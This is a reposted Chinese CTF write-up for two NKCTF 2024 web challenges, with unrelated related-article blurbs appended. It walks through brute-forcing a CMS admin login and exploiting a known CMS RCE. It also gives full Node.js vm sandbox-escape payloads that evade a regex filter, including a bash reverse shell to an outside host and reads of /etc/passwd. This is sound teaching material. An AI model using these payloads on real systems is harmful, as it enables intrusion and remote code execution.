[NKCTF 2024]web解析

文章目录

    • my first cms
    • 全世界最简单的CTF
      • 解法一
      • 解法二


my first cms

打开题目在最下面发现是CMS Made Simple,版本为2.2.19

在这里插入图片描述

扫一下发现存在后台登陆界面,直接访问

用字典爆破下admin的密码为Admin123
在这里插入图片描述

然后直接登录,去漏洞库搜一下其实存在很多漏洞(重点看最近的)

找到CMS Made Simple的RCE漏洞(CVE-2019-9059)参考文章

步骤如下

在这里插入图片描述

登陆后按照上图,保存后去执行代码

在这里插入图片描述

成功反弹shell,得到flag

在这里插入图片描述

全世界最简单的CTF

扫目录发现存在/secret源码泄露

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))app.get('/', function (req, res){res.sendFile(__dirname + '/public/home.html');
})function waf(code) {let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;if(code.match(pattern)){throw new Error("what can I say? hacker out!!");}
}app.post('/', function (req, res){let code = req.body.code;let sandbox = Object.create(null);let context = vm.createContext(sandbox);try {waf(code)let result = vm.runInContext(code, context);console.log(result);} catch (e){console.log(e.message);require('./hack');}
})app.get('/secret', function (req, res){if(process.__filename == null) {let content = fs.readFileSync(__filename, "utf-8");return res.send(content);} else {let content = fs.readFileSync(process.__filename, "utf-8");return res.send(content);}
})app.listen(3000, ()=>{console.log("listen on 3000");
})

本题是考察如何沙箱逃逸实现RCE,waf过滤很多,process被办意味着我们需要用别的手段去得到process对象,中括号被办就不能利用js特性拼接绕过,\被办意味着不能十六进制或者Unicode绕过。

解法一

参考LaoGong战队

我们注意到源码中的沙箱定义

let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);

create内为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

而一般情况如果没有执行字符串操作或者利用函数重写,我们可以利用Proxy劫持

throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor('return process'))();return p.mainModule.require('child_process').execSync('whoami').toString();}})

而本题过滤了很多,我们可以用replace函数来绕过对process的检测

const p = (cc.constructor.constructor('return proAcess'.replace('A','')))();
const obj=p.mainModule.require('child_process'.replace('A',''));

接下来是最为精彩的一步,利用javascript内置函数去返回一个属性描述符(PropertyDescriptor)对象,其中包括value也就是属性值

最终payload如下

throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor('return procAess'.replace('A','')))();const obj = p.mainModule.require('child_procAess'.replace('A',''));const ex = Object.getOwnPropertyDescriptor(obj,'exeAcSync'.replace('A',''));return ex.value('bash -c "bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1"').toString();}})

成功反弹shell,执行/readflag得到flag

在这里插入图片描述

解法二

参考文章

我们注意下面代码

app.get('/secret', function (req, res){if(process.__filename == null) {let content = fs.readFileSync(__filename, "utf-8");return res.send(content);} else {let content = fs.readFileSync(process.__filename, "utf-8");return res.send(content);}
})

如果process.__filename为null则回显源码,我们可以利用原型链污染__filename实现任意文件读取

本解法利用反射去得到process对象

throw new Proxy({}, {get: function(){const c = arguments.callee.callerconst p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()return p.__filename="/etc/passwd"}
})

然后访问 /secret 即可成功读取

尝试读/flag,返回permission denied, open ‘/flag’,没权限直接读

尝试读./hack,注意路径是/app/hack.js,提示shell.js跟进一下

console.log("shell"); const p = require('child_process'); p.execSync(process.env.command);

最终payload

throw new Proxy({}, {get: function(){const c = arguments.callee.caller;const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))();p.env.command="whoami";return p.mainModule.require("./shell");}
})

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/770738.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

后端常问面经之Java集合

HashMap底层原理 HashMap的数据结构: 底层使用hash表数据结构,即数组和链表或红黑树 当我们往HashMap中put元素时,利用key的hashCode重新hash计算出当前对象的元素在数组中的下标 存储时,如果出现hash值相同的key,此…

恒创科技:服务器反应慢如何解决?

​  通常来说,访问者会在最初的几秒钟内决定是留在您的网站还是离开。如果页面加载时间超过五秒,访问者离开的可能性就会增加 90%。所以,作为站长们,必须减少服务器响应时间,以确保其网站加载速度更快。以下是减少网…

Mac电脑虚拟显示器:BetterDisplay Pro for Mac v2.0.11激活版

BetterDisplay Pro是一款由waydabber开发的Mac平台上的显示器校准软件,可以帮助用户调整显示器的颜色和亮度,以获得更加真实、清晰和舒适的视觉体验。 软件下载:BetterDisplay Pro for Mac v2.0.11激活版 以下是BetterDisplay Pro的主要特点&…

蔚来JAVA面试(收集)

先叠加,这个是自己找的答案不一定对,只是给我参考看看而已。 一、项目 这个没有,根据实际项目情况来。蔚来比较喜欢拷打项目,所以要对项目非常熟悉(慌) 二、JAVA基础 2.1 Java中的IO模型有用到过吗&#…

Android视角看鸿蒙第九课-鸿蒙的布局

鸿蒙的四大布局 导读 前面八篇文章描述了鸿蒙app的配置文件,关于版本号,开发版本,桌面图标等等配置方式。从这一篇文章开始学习鸿蒙的UI使用方式。 前面我们学习到鸿蒙有ability和page的区分,ability类似Activity但又不完全一样…

如何使用PHP和RabbitMQ实现延迟队列(方式二)?

前言 前几天写了一篇关于PHP和RabbitMQ如何通过插件实现延迟队列的功能。 今天写另外一篇不需要插件的方式,使用RabbitMQ的死信队列(Dead-Letter-Exchanges, DLX)和消息TTL(Time-To-Live)。 这种方法涉及到设置消息…

java Web餐馆订单管理系统用eclipse定制开发mysql数据库BS模式java编程jdbc

一、源码特点 JSP 餐馆订单管理系统是一套完善的web设计系统,对理解JSP java 编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。开发环境为TOMCAT7.0,eclipse开发,数据库为Mysql5.0,使…

vivo x fold 3Pro参数配置 vivo x fold 3Pro续航

vivo XFold3 Pro采用了顶级的AMOLED折叠屏,屏幕预计会配备一块6.53英寸的外屏以及8.03英寸的内屏,分辨率高达2K级别,屏幕支持120Hz刷新率,色彩鲜艳,视觉效果一流。不论是看电影、玩游戏还是日常使用,都能给…

碳实践|企业组织碳排放源识别方法、案例分析,及注意事项

在上一章中讲到“界、源、算、质、查”五步法实现企业组织碳的完整核算流程,本章将针对其中的“源”- “识别排放源”这一步骤来展开,主要分析其识别方法、实操案例,并列举注意事项。 企业识别碳排放源是指在组织边界内找到产生碳排放的设施,…

spark广播变量

广播变量应用场景 由于spark的应用场景通常是分布式场景,在本地集合和分布式集合关联,且本地集合不太大的场景,rdd的处理是在不同的executor中不同的分区处理的,我们定义的全局变量通常是在driver中的,在executor中并…

centos 虚拟机 增加硬盘 虚拟机centos磁盘扩容

2 在centos 7 系统中挂载磁盘 2.1 查看磁盘信息 进入centos 7系统中,输入“# df -h”命令,查看磁盘信息。 这里没有写显示新增的磁盘信息。 2.2 对新加的磁盘进行分区操作 2.2.1 查看磁盘容量和分区 2.2.2 创建分区 a. 选择新增的磁盘(这…

学点儿Java_Day10_集合框架(List、Set、HashMap)

1 简介 ArrayList: 有序(放进去顺序和拿出来顺序一致),可重复 HashSet: 无序(放进去顺序和拿出来顺序不一定一致),不可重复 Testpublic void test1() {String[] array new String[3];//List: 有序 可重复//有序: 放入顺序 与 拿出顺序一致,…

为何ChatGPT日耗电超50万度?

看新闻说,ChatGPT每天的耗电量是50万度,国内每个家庭日均的耗电量不到10度,ChatGPT耗电相当于国内5万个家庭用量。 网上流传,英伟达创始人黄仁勋说:“AI的尽头是光伏和储能”,大佬的眼光就是毒辣&#xff…

Luminar Neo:重塑图像编辑新纪元,Mac与Win双平台畅享创意之旅

在数字时代的浪潮中,图像编辑软件已成为摄影师和设计师们不可或缺的创作工具。Luminar Neo,作为一款专为Mac与Windows双平台打造的图像编辑软件,正以其卓越的性能和创新的编辑功能,引领着图像编辑的新潮流。 Luminar Neo不仅继承…

【日常linux操作命令】

文章目录 1、查看服务器信息1.1、查看内存1.2、查看磁盘1.3、查看CPU信息 2、清理内存缓存2.1、清理PageCache:2.2、清理Dentries和Inodes:2.3、同时清理PageCache、Dentries和Inodes:2.4、清理日志文件2.5、清理临时文件 3、查找文件3.1、查…

WPF使用外部字体,思源黑体,为例子

1.在工程中新建文件夹&#xff0c;命名为“Font"。 2.将下载好的字体文件复制到Font文件夹。 3.在工程中&#xff0c;加入静态资源 <Window.Resources><FontFamily x:Key"SYBold">/AnalyzeImage;Component/Font/#思源黑体 CN Bold</FontFamily…

2.3 Mac OS安装Python环境

Mac OS安装Python环境 和 Linux 发行版类似&#xff0c;最新版的 Mac OS X 也会默认自带 Python 2.x。 我们可以在终端&#xff08;Terminal&#xff09;窗口中输入python命令来检测是否安装了 Python 开发环境&#xff0c;以及安装了哪个版本&#xff0c;如下所示&#xff1…

解決flask-restful提示Did not attempt to load JSON data 问题

在使用flask-restfull进行API开发的时候。一旦我使用类似下面的代码从url或者form中获得参数就会出现报错&#xff1a;Did not attempt to load JSON data because the request Content-Type was not ‘application/json’。 代码如下&#xff1a; # Flask_RESTFUl数据解析 f…

ROS1通过rosbridge在局域网中控制turtle进行运动(PC和手机)--番外,清除浏览器缓存

在上一节的文章当中&#xff0c;因为编写好了JS文件&#xff0c;直接上传到在局域网内的浏览器当中&#xff0c;但是在本地更新的过程当中&#xff0c;无法对齐进行上传和更新&#xff0c;原因是浏览器在加载一次JS文件的时候&#xff0c;会自动将其加入到缓存当中&#xff0c;…

基于JavaScript的快递管理系统

基于JavaScript的快递管理系统 开发语言&#xff1a;Java 开发工具&#xff1a;MyEclipse 6.0.1 技术&#xff1a;Spring SpringMVC MyBatis 数据库&#xff1a;mysql 浏览器&#xff1a;IE8.0 系统展示 登陆页面 注册页面 快递员页面 派单员订单管理页面 派单员订单添…